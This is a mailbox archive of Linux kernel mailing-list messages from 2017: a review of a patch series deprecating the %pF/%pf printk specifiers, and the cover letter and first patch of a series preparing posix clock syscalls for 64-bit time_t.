Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28300 gmane.linux.ports.parisc:27961 gmane.linux.ports.ppc64.devel:150146 gmane.linux.kernel:2614486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28300>

On Fri, Nov 10, 2017 at 08:48:29AM +0900, Sergey Senozhatsky wrote:
> -Examples::
> -
> -	printk("Going to call: %pF\n", gettimeofday);
> -	printk("Going to call: %pF\n", p->func);
> -	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
> -	printk("%s: called from %pS\n", __func__,
> -				(void *)__builtin_return_address(0));
> -	printk("Faulted at %pS\n", (void *)regs->ip);
> -	printk(" %s%pB\n", (reliable ? "" : "? "), (void *)*stack);

Did you mean to delete the Examples completely?  Wouldn't it
be better to just update (s/%pF/%pS/g)?

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 0/6] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Fri, 10 Nov 2017 10:11:15 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20171110181114.x22y2zr5qdf4y5za@agluck-desk>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510337475 10361 195.159.176.226 (10 Nov 2017 18:11:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 10 Nov 2017 18:11:15 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Fenghua Yu <fenghua.yu@intel.com>, Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 10 19:11:10 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eDDll-0000yi-Ma
	for glpp-linux-parisc@m.gmane.org; Fri, 10 Nov 2017 19:11:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753400AbdKJSLR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 10 Nov 2017 13:11:17 -0500
Original-Received: from mga02.intel.com ([134.134.136.20]:35031 "EHLO mga02.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753354AbdKJSLQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 10 Nov 2017 13:11:16 -0500
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga101.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 10 Nov 2017 10:11:15 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.44,375,1505804400"; 
   d="scan'208";a="3558028"
Original-Received: from agluck-desk.sc.intel.com (HELO agluck-desk) ([10.3.52.160])
  by orsmga001.jf.intel.com with ESMTP; 10 Nov 2017 10:11:15 -0800
Content-Disposition: inline
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27962 gmane.linux.ports.ia64:28301 gmane.linux.ports.ppc64.devel:150148 gmane.linux.kernel:2614488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27962>

On Fri, Nov 10, 2017 at 08:48:24AM +0900, Sergey Senozhatsky wrote:
> 	All Ack-s/Tested-by-s were dropped, since the patch set has been
> reworked. I'm kindly asking arch-s maintainers and developers to test it
> once again. Sorry for any inconveniences and thanks for your help in
> advance.

You can add back the:

Tested-by: Tony Luck <tony.luck@intel.com> #ia64

Apart from my comment about dropping the Examples from the
Documentation the series looks OK to me.

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Fri, 10 Nov 2017 14:42:50 -0800
Lines: 143
Approved: news@gmane.org
Message-ID: <20171110224259.15930-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1510353831 1155 195.159.176.226 (10 Nov 2017 22:43:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 10 Nov 2017 22:43:51 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, arnd@arndb.de,
        y2038@lists.linaro.org, acme@kernel.org, benh@kernel.crashing.org,
        borntraeger@de.ibm.com, catalin.marinas@arm.com,
        cmetcalf@mellanox.com, cohuck@redhat.com, davem@davemloft.net,
        deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-api@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
To: tglx@linutronix.de, john.stultz@linaro.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 10 23:43:41 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eDI1T-0004eb-Sq
	for glpp-linux-parisc@m.gmane.org; Fri, 10 Nov 2017 23:43:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754025AbdKJWnr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 10 Nov 2017 17:43:47 -0500
Original-Received: from mail-qk0-f195.google.com ([209.85.220.195]:49125 "EHLO
        mail-qk0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753687AbdKJWnp (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 10 Nov 2017 17:43:45 -0500
Original-Received: by mail-qk0-f195.google.com with SMTP id a142so13726098qkb.5;
        Fri, 10 Nov 2017 14:43:44 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=4h26Sn+vfQbf+LfvNARTRYMvHGUZY3j52Mx6JoznCuI=;
        b=GHfQlb7EaPUMD1JXA+RCcF6reep8ubaKnCIKAUQ+av3mnSD7DEB7wabQwNu49+th2L
         /rIdZW2PQ1C1KEQqeWuQeL6vrkY/YQUVFVbi/rfP9mxZEGOPojvlbueWVMKIE8n7+2e2
         vVnZRRC5HnZuBrPKvG+v6LTgDD9iAWPk10UxX1qpHznajCfuJW+u+TOVopomrbVYXC05
         v1W0np88bOHdRVyGl4ecEw+htWOXJhiLdIZQxyiWxacs8Tf7JRemE3NsUqhAlTi1sjzN
         Lzonr/yjn9yGIf6muy9fojioAgDIXXXq/I5KH+jvGIvu/XdZVcEoP2MRtdN2zTdWGD1g
         8Ryg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=4h26Sn+vfQbf+LfvNARTRYMvHGUZY3j52Mx6JoznCuI=;
        b=bq39EgxZ3dg6j6U8Z1qZHwW2MEQHZiO7qiUYbnBs1fBaMpZTRJieBNr9v9NpJjztZK
         ybVSrgzZFcVzm0KE4neWBLqWhGQ9WM1ewfgvokWkUystPHIRjCoRWYGZvyi9MfXRgo5O
         q9NswfH7CghibuIPcJNtmn8xyuFoWo9gF5Ze/uetbjV3PZhUHjRx0c/mOPPnt35OegTT
         HIeu+3dzRZZdXhuCUugCRe8VDfJ+Q5hTPGsunMIoOsWw4HFf7dL5Bdj0GVGs0+8Ijge7
         O4SkM3n5evIhppwru7hK5k7sOpAskA/5r8yfQgSCgoKhwv2DEJY4FE/wIfHWsKrX4bHP
         ohmg==
X-Gm-Message-State: AJaThX7kVoiaTfcT5f3aiMMHkRj85xbEyDiPtQTsN2sgqQVEJcNZNBMJ
        EhRdu4qZR/At0HGhf4BU2leCQJC1
X-Google-Smtp-Source: AGs4zMac0KyGjDSMKQeX7iVYXDAHSxYUfJ24j/0USRSfnjEyt+Wxc9zeh88FhWmG2E0FjxGSLiRhIw==
X-Received: by 10.55.40.230 with SMTP id o99mr3102313qko.81.1510353824297;
        Fri, 10 Nov 2017 14:43:44 -0800 (PST)
Original-Received: from localhost.localdomain ([2601:647:5000:6620:39ae:25d9:c1b6:63dd])
        by smtp.gmail.com with ESMTPSA id y7sm6997341qke.58.2017.11.10.14.43.39
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 10 Nov 2017 14:43:43 -0800 (PST)
X-Mailer: git-send-email 2.11.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27963 gmane.linux.kernel:2614661 gmane.linux.kernel.year-2038:2279 gmane.linux.kernel.api:25627 gmane.linux.kernel.cross-arch:40117 gmane.linux.ports.mips.general:62062 gmane.linux.ports.ppc64.devel:150155 gmane.linux.oprofile:13101 gmane.linux.ports.sparc:26851
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27963>

The series is a preparation series for individual architectures
to use 64 bit time_t syscalls in compat and 32 bit emulation modes.

This is a follow up to the series Arnd Bergmann posted:
https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html

Big picture is as per the lwn article:
https://lwn.net/Articles/643234/

The series is directed at converting posix clock syscalls:
clock_gettime, clock_settime, clock_getres and clock_nanosleep
to use a new data structure __kernel_timespec at syscall boundaries.
__kernel_timespec maintains 64 bit time_t across all execution modes.

vdso will be handled as part of each architecture when they enable
support for 64 bit time_t.

The compat syscalls are repurposed to provide backward compatibility
by using them as native syscalls as well for 32 bit architectures.
They will continue to use timespec at syscall boundaries.

CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
or timespec at syscall boundaries.

The series does the following:
1. Enable compat syscalls unconditionally.
2. Add a new __kernel_timespec type to be used as the data structure
   for all the new syscalls.
3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
   [1] and [2] to switch to new definition of __kernel_timespec. It is
   the same as struct timespec otherwise.

Arnd Bergmann (1):
  y2038: introduce CONFIG_64BIT_TIME

Deepa Dinamani (8):
  include: Move compat_timespec/ timeval to compat_time.h
  compat: Make compat helpers independent of CONFIG_COMPAT
  compat: enable compat_get/put_timespec64 always
  posix-clocks: Enable compat syscalls always
  include: Add new y2038 safe __kernel_timespec
  fix get_timespec64() for y2038 safe compat interfaces
  change time types to new y2038 safe __kernel_* types
  nanosleep: change time types to safe __kernel_* types

 arch/Kconfig                           | 11 ++++
 arch/arm64/include/asm/compat.h        | 11 ----
 arch/arm64/include/asm/stat.h          |  1 +
 arch/arm64/kernel/hw_breakpoint.c      |  1 -
 arch/arm64/kernel/perf_regs.c          |  2 +-
 arch/arm64/kernel/process.c            |  1 -
 arch/mips/include/asm/compat.h         | 11 ----
 arch/mips/kernel/signal32.c            |  2 +-
 arch/parisc/include/asm/compat.h       | 11 ----
 arch/powerpc/include/asm/compat.h      | 11 ----
 arch/powerpc/kernel/asm-offsets.c      |  2 +-
 arch/powerpc/oprofile/backtrace.c      |  2 +-
 arch/s390/hypfs/hypfs_sprp.c           |  1 -
 arch/s390/include/asm/compat.h         | 11 ----
 arch/s390/include/asm/elf.h            |  3 +-
 arch/s390/kvm/priv.c                   |  1 -
 arch/s390/pci/pci_clp.c                |  1 -
 arch/sparc/include/asm/compat.h        | 11 ----
 arch/tile/include/asm/compat.h         | 11 ----
 arch/x86/events/core.c                 |  2 +-
 arch/x86/include/asm/compat.h          | 11 ----
 arch/x86/include/asm/ftrace.h          |  2 +-
 arch/x86/include/asm/sys_ia32.h        |  2 +-
 arch/x86/kernel/sys_x86_64.c           |  2 +-
 drivers/s390/block/dasd_ioctl.c        |  1 -
 drivers/s390/char/fs3270.c             |  1 -
 drivers/s390/char/sclp_ctl.c           |  1 -
 drivers/s390/char/vmcp.c               |  1 -
 drivers/s390/cio/chsc_sch.c            |  1 -
 drivers/s390/net/qeth_core_main.c      |  2 +-
 drivers/staging/pi433/pi433_if.c       |  2 +-
 include/linux/compat.h                 |  7 ++-
 include/linux/compat_time.h            | 23 +++++++++
 include/linux/restart_block.h          |  7 +--
 include/linux/syscalls.h               | 12 ++---
 include/linux/time.h                   |  4 +-
 include/linux/time64.h                 | 10 +++-
 include/uapi/asm-generic/posix_types.h |  1 +
 include/uapi/linux/time.h              |  7 +++
 kernel/Makefile                        |  2 +-
 kernel/compat.c                        | 92 ++++++++++++++++++----------------
 kernel/time/hrtimer.c                  |  7 +--
 kernel/time/posix-stubs.c              | 12 ++---
 kernel/time/posix-timers.c             | 20 ++++----
 kernel/time/time.c                     | 10 +++-
 45 files changed, 152 insertions(+), 195 deletions(-)
 create mode 100644 include/linux/compat_time.h


base-commit: d9e0e63d9a6f88440eb201e1491fcf730272c706
-- 
2.11.0

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 1/9] include: Move compat_timespec/ timeval to compat_time.h
Date: Fri, 10 Nov 2017 14:42:51 -0800
Lines: 645
Approved: news@gmane.org
Message-ID: <20171110224259.15930-2-deepa.kernel@gmail.com>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1510353841 2563 195.159.176.226 (10 Nov 2017 22:44:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 10 Nov 2017 22:44:01 +0000 (UTC)
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, heiko.carstens@de.ibm.com, paulus@samba.org,
 hpa@zytor.com, sparclinux@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, y2038@lists.linaro.org, mpe@ellerman.id.au,
 deller@gmx.de, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, will.deacon@arm.com, borntraeger@de.ibm.com,
 mingo@redhat.com, oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 rric@kernel.org, cmetcalf@mellanox.com, arnd@arndb.de,
 oberpar@linux.vnet.ibm.com, acme@kernel.org, jwi@linux.vnet.ibm.com,
 rostedt@goodmis.org, ubraun@linux.vnet.ibm.com, gerald.schaefer@de.ibm.com,
 linux-parisc@vger.kernel.org, gregkh@linuxfoundation.org, cohuck@redhat.com,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, hoeppner@linux.vnet.ibm.com,
 sth@linux.vnet.ibm.com, schwidefsky@de.ibm.co
To: tglx@linutronix.de,
	john.stultz@linaro.org
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Fri Nov 10 23:43:51 2017
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp1.osuosl.org ([140.211.166.138] helo=whitealder.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1eDI1e-0000GW-4j
	for glddd-devel@m.gmane.org; Fri, 10 Nov 2017 23:43:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by whitealder.osuosl.org (Postfix) with ESMTP id 2561287F0A;
	Fri, 10 Nov 2017 22:43:57 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zzuMXrTC2LFI; Fri, 10 Nov 2017 22:43:54 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by whitealder.osuosl.org (Postfix) with ESMTP id 67A4C8833F;
	Fri, 10 Nov 2017 22:43:54 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (smtp2.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id 305161C4371
 for <devel@linuxdriverproject.org>; Fri, 10 Nov 2017 22:43:53 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id 20611887E1
 for <devel@linuxdriverproject.org>; Fri, 10 Nov 2017 22:43:53 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id QBTTPqHa3x2F for <devel@linuxdriverproject.org>;
 Fri, 10 Nov 2017 22:43:50 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-qk0-f194.google.com (mail-qk0-f194.google.com
 [209.85.220.194])
 by hemlock.osuosl.org (Postfix) with ESMTPS id 25FEF887A4
 for <devel@driverdev.osuosl.org>; Fri, 10 Nov 2017 22:43:50 +0000 (UTC)
Original-Received: by mail-qk0-f194.google.com with SMTP id o6so13747664qkh.3
 for <devel@driverdev.osuosl.org>; Fri, 10 Nov 2017 14:43:50 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=Eo2ptQykGzwxFT/q0ZP8CtutKpA9yAnl9dz56hC1xCo=;
 b=C4P1cLiei5muIL0jOHBCHrwAfMU7qBDgSrWEYGbgGCWKEJlnRP7YhuqhbDzGikuzyq
 UGUbWYNUs3jk8T0TWgeCQWbifbtLQ1IqTfijA4hbmLFH/3ca/ipTJJbrwxEoNEgSpiEs
 9bn9EhEwPNmg93wfXUBPmaoxxLHLPb28ZQ7tB1lZu6L/HvgYqefhYLGDe918Wu4/t8l3
 hPk8ekZ+SILCftW6gtKFhguvZLRzrJEC5hSRVwDf/uMQeoYYnVJ9y5Cmtr9JgVuu805i
 zfHhrF5xjD1y7DVve1BUGp6UIojpbtTfeVFrN5vSJVHgsN8fp5tweqBv4If6sYrqM6jz
 PEPQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=Eo2ptQykGzwxFT/q0ZP8CtutKpA9yAnl9dz56hC1xCo=;
 b=HTtZHQpwNjMVQQPx+9IcKVNj2Pgc9xSDLh+uQw4tAmcuNv3fnhavTIPr5EHVR9srDp
 TBViT2AQtht9aPG3ElcRiulQ+fl4ykX8Vrs1qn5tRB5TqJs/81ByRqyHoNLPBWvuwPjv
 72FX3TodZum947610EMYaqP5dls0J4QyH+JABx/cnybEMCJ32bz+3yTxxkYPB3uhtNSa
 fWfi1kibw1THuq2Za4YWC6yvd6NxsksnlYjGb+EtYzf0NKNp3h6Jv/430uvwa2YXfxPv
 /sxTxuYfPCXSFLsOGkNAMWoeJOot34dthgjk8UgExVY/9QSjrKYg5/NVrWPslgGtZB+p
 Nr7g==
X-Gm-Message-State: AJaThX6p3zN7/jhhtY7VI1yDyWXJMFWqZZcP4bE+p+WqJrLT+xcJXoia
 dB3UNT2245CJOecqTmmHNPI=
X-Google-Smtp-Source: AGs4zMZJF9b7RMqSmsktL2EP9eTZ/whNMRzezTpJ0eIczKLi9K9fSAPOcUYlw91TGL3H2WQqrJNBug==
X-Received: by 10.55.42.75 with SMTP id q72mr3098576qkh.57.1510353829098;
 Fri, 10 Nov 2017 14:43:49 -0800 (PST)
Original-Received: from localhost.localdomain ([2601:647:5000:6620:39ae:25d9:c1b6:63dd])
 by smtp.gmail.com with ESMTPSA id y7sm6997341qke.58.2017.11.10.14.43.44
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 10 Nov 2017 14:43:48 -0800 (PST)
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20171110224259.15930-1-deepa.kernel@gmail.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:110781 gmane.linux.ports.mips.general:62063 gmane.linux.ports.sparc:26852 gmane.linux.kernel.year-2038:2280 gmane.linux.oprofile:13102 gmane.linux.ports.parisc:27964 gmane.linux.kernel:2614662 gmane.linux.ports.ppc64.devel:150156
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/110781>

All the current architecture specific defines for these
are the same. Refactor these common defines to a common
header file.

The new common linux/compat_time.h is also useful as it
will eventually be used to hold all the defines that
are needed for compat time types that support non y2038
safe types. New architectures need not have to define these
new types as they will only use new y2038 safe syscalls.
This file can be deleted after y2038 when we stop supporting
non y2038 safe syscalls.

The patch also requires an operation similar to:

git grep "asm/compat\.h" | cut -d ":" -f 1 |  xargs -n 1 sed -i -e "s%asm/compat.h%linux/compat.h%g"

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org
Signed-off-by: Deepa Dinamani <deepa.kernel@gmail.com>
---
 arch/arm64/include/asm/compat.h   | 11 -----------
 arch/arm64/include/asm/stat.h     |  1 +
 arch/arm64/kernel/hw_breakpoint.c |  1 -
 arch/arm64/kernel/perf_regs.c     |  2 +-
 arch/arm64/kernel/process.c       |  1 -
 arch/mips/include/asm/compat.h    | 11 -----------
 arch/mips/kernel/signal32.c       |  2 +-
 arch/parisc/include/asm/compat.h  | 11 -----------
 arch/powerpc/include/asm/compat.h | 11 -----------
 arch/powerpc/kernel/asm-offsets.c |  2 +-
 arch/powerpc/oprofile/backtrace.c |  2 +-
 arch/s390/hypfs/hypfs_sprp.c      |  1 -
 arch/s390/include/asm/compat.h    | 11 -----------
 arch/s390/include/asm/elf.h       |  3 +--
 arch/s390/kvm/priv.c              |  1 -
 arch/s390/pci/pci_clp.c           |  1 -
 arch/sparc/include/asm/compat.h   | 11 -----------
 arch/tile/include/asm/compat.h    | 11 -----------
 arch/x86/events/core.c            |  2 +-
 arch/x86/include/asm/compat.h     | 11 -----------
 arch/x86/include/asm/ftrace.h     |  2 +-
 arch/x86/include/asm/sys_ia32.h   |  2 +-
 arch/x86/kernel/sys_x86_64.c      |  2 +-
 drivers/s390/block/dasd_ioctl.c   |  1 -
 drivers/s390/char/fs3270.c        |  1 -
 drivers/s390/char/sclp_ctl.c      |  1 -
 drivers/s390/char/vmcp.c          |  1 -
 drivers/s390/cio/chsc_sch.c       |  1 -
 drivers/s390/net/qeth_core_main.c |  2 +-
 drivers/staging/pi433/pi433_if.c  |  2 +-
 include/linux/compat.h            |  1 +
 include/linux/compat_time.h       | 19 +++++++++++++++++++
 32 files changed, 32 insertions(+), 110 deletions(-)
